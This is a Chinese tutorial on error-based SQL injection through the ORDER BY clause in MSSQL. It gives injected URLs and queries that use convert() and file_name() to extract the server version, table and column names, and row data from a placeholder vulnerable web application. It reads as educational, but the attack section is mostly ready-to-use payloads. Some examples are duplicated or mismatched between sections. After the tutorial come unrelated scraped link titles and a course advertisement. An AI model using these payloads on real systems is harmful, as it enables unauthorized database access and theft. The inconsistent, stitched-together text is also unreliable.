详解基于MSSQL “order by”语句报错的SQL注入技术
在本文中,我们要利用的SQL注入漏洞出现在下面的情形中:当用户提供的数据通过MSSQL的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出SQL Server错误。
如果用户提供的数据在“Order By”子句中作为列名传递给SQL查询的话,那么常规的“基于错误的SQL注入”漏洞利用技术就无法生效了。
由于SQL Server已经为SQL查询预定义了一套安全规则,因此,我们无法使用常规的“基于错误的SQL注入”技术来攻击应用程序中的SQL注入漏洞。
不过,由于用户可以在Order by子句之后指定函数名称,同时,有些SQL server函数可以执行以参数传入的查询,并尝试对注入的查询的结果执行某些操作,如果操作遇到问题就会抛出错误,所以,如果我们对这些函数进行注入攻击,那么这些函数就会暴露注入的SQL查询的结果——这就是我们的漏洞利用思路。
文章目录
· 漏洞利用
· 演示:
· 原文链接:
漏洞利用
下面我们开始介绍可用于基于错误的SQL注入攻击的函数。 ( 内容推荐>>>>>>SQL注入漏洞的分析与利用 ,可申请免费试听,联系牛油果,微信 1472301220)
实际上,确实有少数几个SQL server函数可以满足我们的要求:执行其参数指定的SQL查询,并对查询结果执行指定的操作,还能通过错误消息给出SQL查询结果。
Convert()就是满足上述要求的一个函数,它常用于基于错误的SQL注入攻击中,因为它会按照第一个参数中指定的数据类型对第二个参数执行转换操作。
例如,对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出一个SQL server错误消息,指出“SQL查询结果”无法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。
下面列出满足上述要求的各个函数:
· convert()
· file_name()
· db_name()
· col_name()
· filegroup_name()
· object_name()
· schema_name()
· type_name()
· cast()
演示:
假设这里有一个包含SQL注入漏洞的URL,它会将HTTP GET方法中名为“order”的参数的值(该值由用户指定)传递给SQL查询。该URL如下所示:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name
然后,应用程序会从HTTP GET方法的参数“order”中接收用户提供的数据,并生成如下所示的SQL查询:
Select table_name,column_name from information_schema.columns order by column_name
convert() 函数
· 查询SQL server版本
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
convert(int,@@version)

· 提取当前数据库的表名
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))
· 从表中提取列名
在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 提取表中的列数据
从数据表的列中提取数据实际上并不复杂,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)
xserver_name from spt_fallback_db))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) xserver_name from spt_fallback_db))

file_name()函数
· 查询SQL server版本
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
file_name(@@version)

· 提取当前数据库的表名
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))

· 从表中提取列名
在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

· 从表中提取列数据
从数据表中提取列数据其实很简单,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)
xserver_name from spt_fallback_db))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
file_name((select top(1) xserver_name from spt_fallback_db))
详解基于MSSQL “order by”语句报错的SQL注入技术的更多相关文章
- 基于报错的SQL注入整理
SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...
- [MYSQL手工注入](3)基于报错的SQL注入实战
0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...
- nrf52——DFU升级USB/UART升级方式详解(基于SDK开发例程)
摘要:在前面的nrf52--DFU升级OTA升级方式详解(基于SDK开发例程)一文中我测试了基于蓝牙的OTA,本文将开始基于UART和USB(USB_CDC_)进行升级测试. 整体升级流程: 整个过程 ...
- HashMap实现详解 基于JDK1.8
HashMap实现详解 基于JDK1.8 1.数据结构 散列表:是一种根据关键码值(Key value)而直接进行访问的数据结构.采用链地址法处理冲突. HashMap采用Node<K,V> ...
- SSE技术详解:一种全新的HTML5服务器推送事件技术
前言 一般来说,Web端即时通讯技术因受限于浏览器的设计限制,一直以来实现起来并不容易,主流的Web端即时通讯方案大致有4种:传统Ajax短轮询.Comet技术.WebSocket技术.SSE(Ser ...
- 插入mysql语句报错:1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
插入一个很简单的sql语句时候,mysql一直报错: [SQL] INSERT INTO ORDER ( id, activity_id, order_type, phone, order_amoun ...
- 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题
刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...
- SQL语句报错(一)
SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...
- (转)android import library switch语句报错case expressions must be constant expressions
今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...
随机推荐
- Vue 单选框与单选框组 组件
radio组件 v-model : 通过当然绑定的值与input上的value值来确定当前选中项. 在父作用域中通过active设置当前默认选中项,如果选中项发生改变后通过input事件通知传递到父 ...
- 海量数据,大数据处理技术--【Hbase】
- javafx:JavaFX Scene Builder 2.0打开含有第三方jar包的fxml文件报错 Caused by: java.lang.ClassNotFoundException
报错如下: java.io.IOException: javafx.fxml.LoadException: /C:/User.................test.fxml at com.orac ...
- 微软与开源干货对比篇_PHP和 ASP.NET在 Session实现和管理机制上差异
微软与开源干货对比篇_PHP和 ASP.NET在 Session实现和管理机制上差异 前言:由于开发人员要靠工具吃饭,可能和开发工具.语言.环境呆的时间比和老婆孩子亲人在一起的时间还多,所以每个人或多 ...
- ILRuntime官方Demo笔记
调用/执行 热更中的方法 调用热更代码中方法,写在AppDomain中,记录一下主要几个方法: AppDomain.LoadAssembly 加载热更dll 执行热更代码的方法,有两种方式: appd ...
- pyhton崩溃的第六天,又有新成员
首先在今天的刚刚开始,补充一下上次两个成员的一些特有的方法,一个是列表,一个是字典,首先列表里面多了一个反转的方法,名叫reverse,简单就是把列表中的123变成了321,还有一个方法是sort,是 ...
- RecyclerView的Item的单击事件
RecyclerView 的每个Item的点击事件并没有像ListView一样封装在组件中,需要Item的单击事件时就需要自己去实现,在Adapter中为RecyclerView添加单击事件参考如下: ...
- 使用FreeHttp强制登出微信公众号登陆状态(实现~原理)
概述 我们使用的部分网站设计成一旦登录即不允许用户手动退出,现实场景中是没有问题的 但如果是在测试或调试过程中就会有强制登出的需求 如果当前使用的是PC浏览器,您或许可以通过调试模式清除保持登录信息的 ...
- 13 在 Django REST framework 善用 SerializerMethodField方法
01-使用SerializerMethodField 来优化不必要的查询 class RepairQueueSerializer(serializers.ModelSerializer): # rq_ ...
- ABP之N层架构
介绍 应用程序代码库的分层是一种广泛接受的技术,有助于降低复杂性并提高代码的可重用性. 为了实现分层体系结构,ASP.NET Boilerplate遵循领域驱动设计(DDD)的原则. 领域驱动设计(D ...